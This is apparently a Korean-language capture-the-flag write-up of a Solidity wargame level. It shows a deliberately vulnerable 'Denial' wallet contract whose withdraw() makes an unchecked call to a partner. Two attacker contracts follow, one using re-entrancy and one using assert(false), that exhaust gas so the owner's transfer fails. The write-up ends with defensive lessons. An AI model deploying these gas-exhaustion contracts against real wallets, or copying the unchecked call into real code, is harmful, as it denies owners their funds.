// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Denial {
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
This is a simple wallet that drips funds over time.
You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call withdraw()
(whilst the contract still has funds, and the transaction is of 1M gas or less)
you will win this level.
owner에게 돈을 안 보내면 통과
withdraw()
함수를 보면 조금 이상하다는 것을 알 수 있다. 첫 번째는 receipt의 잔고를 먼저 확인하지 않는다. 보통 보내려고 하는 양보다 더 보내지 않으려고 Check Effect Interaction 패턴을 따른다. 두 번째는 partner와 owner에게 보내는 송금 방법이 다르다는 것이다. partner에게는 call
을 통해 송금하고, owner에게는 transfer
로 송금한다.
이더를 보내는 방법은 아래 3가지로 나뉜다. 가장 큰 특징은 boolean을 리턴하는지와 제한된 gas를 사용하는지다. call과 transfer는 두 가지 측면에서 모두 다르다.
현재 드는 생각은 transfer
는 불가능하지만 call
은 가능하게 하려면 당연히 gas fee를 높게 쓰면 되지 않을까 싶다. withdraw()
함수를 호출할 때 gas fee를 높게 잡고 data도 작성해주면 되지 않을까?
첫 번째 방법은 Re-entrency 공격을 하는 것이다. fallback
함수를 통해 계속해서 withdraw()
를 호출한다면 컨트랙트 안에 있는 gas는 매우 빠르게 소진될 것이다. 따라서 결국 owner에게 이더를 보낼 수 없을 것이다.
contract Attack{
Denial target;
constructor(address instance_address) public{
target = Denial(instance_address);
}
function attack() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}
function () payable public {
target.withdraw();
}
}
두 번째 방법은 assert(false)
를 이용하는 것이다. Error handling에는 3가지 종류가 있다. revert
와 require
는 모든 상태를 되돌리고 남은 gas를 환불한다. 하지만 assert
는 남은 gas를 소진하기 때문에 call
을 호출할 때 gas를 모두 써버리고 결국 transfer
는 실행되지 않을 것이다.
contract Attack{
Denial target;
constructor(address instance_address) public{
target = Denial(instance_address);
}
function attack() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}
function () payable public {
assert(false);
}
}
이번 문제에서 얻을 수 있는 교훈은 이더를 송금할 때 Check Effect Interaction 패턴을 적용하는 것의 중요성과 call
함수를 사용할 때 gas 한도를 설정해서 외부에서 함수를 호출할 때 모든 가스를 소진하는 일이 없도록 해야 한다는 것이다.